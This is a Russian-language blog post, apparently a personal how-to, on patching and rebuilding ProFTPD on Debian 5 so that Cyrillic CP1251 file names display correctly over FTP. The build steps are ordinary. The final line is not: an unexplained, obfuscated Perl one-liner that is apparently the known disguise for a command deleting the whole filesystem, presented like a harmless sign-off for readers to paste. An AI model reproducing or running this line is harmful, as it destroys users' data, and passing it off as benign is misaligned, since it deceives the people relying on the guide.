Решил сегодня ФТП шник очередной замутить на Debian 5, выбор пал на ProFTPD, потому как интересно
, vsFTPd патченный уж пару годков как работает, PureFTPd с поддержкой кодировок собрал недавно под FreeBSD для разнообразия теперь ProFTPd.
Для начала заинсталил его по умолчанию
# apt-get install proftpd
Настроил, запустил, убедился что залитые файлы с винды например по самбе на дебиан в ФТПшном подключении видны кракозябрами, попытался добавить секции
CharsetLocal UTF-8
CharsetRemote CP1251
в конфиг /etc/proftpd/proftpd.conf - руганулся, что не знает таких параметров, оно и понятно, надо патчить и пересобирать.
Сам патч берем отсюда
http://groups.google.com/group/linux.debian.bugs.dist/browse_thread/thread/63ca9520247f3a04Кидаем его с именем
proftpd-1.3.1-rus.patch в папку /usr/src
Переходим туда, теперь выкачиваем сырцы профтпд:
# apt-get source proftpd
смотрим что появилось в /usr/src, дальше
mv proftpd-dfsg-1.3.1 proftpd-1.3.1
Копируем proftpd-1.3.1-rus.patch в папку proftpd-1.3.1 и патчим:
patch -p1 < proftpd-1.3.1-rus.patch
теперь, правим debian/rules
--enable-ctrls --with-modules=mod_readme --enable-ctrls --enable-nls --with-modules=mod_readme:mod_codeconv --enable-nls
Добавить нужно то что выделено жирным. Сохраняем, переходим на директорию выше в папку proftpd-1.3.1 и начинаем собирать, но сначало поставим нужное для этого дела:
apt-get install autoconf automake libtool autotools-dev fakeroot
dpkg-buildpackage должен уже присутствовать и iconv.
Для свобрки :
# dpkg-buildpackage -rfakeroot
у меня ругнулось что не удовлетворены зависимости:
Неудовлетворённые сборочные зависимости: libmysqlclient15-dev (>= 5.0.16) libpam-dev debhelper (>= 5) libpq-dev libldap2-dev libssl-dev libwrap0-dev libcap-dev | not+linux-gnu libncurses5-dev dpatch libacl1-dev libattr1-dev
Доставляем что просит и заного
# dpkg-buildpackage -rfakeroot
Сборка пошла, сидим пьём кофе
После сборки появились пакетики, тут я удалил умолчательный
aptitude remove proftpd
и накатил патченные
# dpkg -i proftpd_1.3.1-17lenny4_all.deb proftpd-basic_1.3.1-17lenny4_i386.deb proftpd-doc_1.3.1-17lenny4_all.deb proftpd-mod-ldap_1.3.1-17lenny4_i386.deb proftpd-mod-mysql_1.3.1-17lenny4_i386.deb proftpd-mod-pgsql_1.3.1-17lenny4_i386.deb
Залез в конфиг /etc/proftpd/proftpd.conf и добавил две строчки:
CharsetLocal UTF-8
CharsetRemote CP1251
Перезапустил сервак:
# /etc/init.d/proftpd start
Еже без ругани, а стало быть строчки кодировок восприняты!
Ну и подключился из под винды по ФТП, теперь все те кракозябры стали русскими именами папок и файлов. УРА!
Пишу по памяти, пока в памяти
.
Если надо, то могу предоставить и готовые пакеты, но лучше делайте сами )))
Вот пакетики:
/ProFTPd-patch-cp1251# ls
install proftpd-1.3.1-rus.patch proftpd-mod-mysql_1.3.1-17lenny4_i386.deb
proftpd proftpd-basic_1.3.1-17lenny4_i386.deb proftpd-mod-pgsql_1.3.1-17lenny4_i386.deb
proftpd-1.3.1 proftpd-doc_1.3.1-17lenny4_all.deb readme
proftpd_1.3.1-17lenny4_all.deb proftpd-mod-ldap_1.3.1-17lenny4_i386.deb
Постараюсь найти им местечко на фтп каком нить для общего доступа в дальнейшем.
echo "good..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'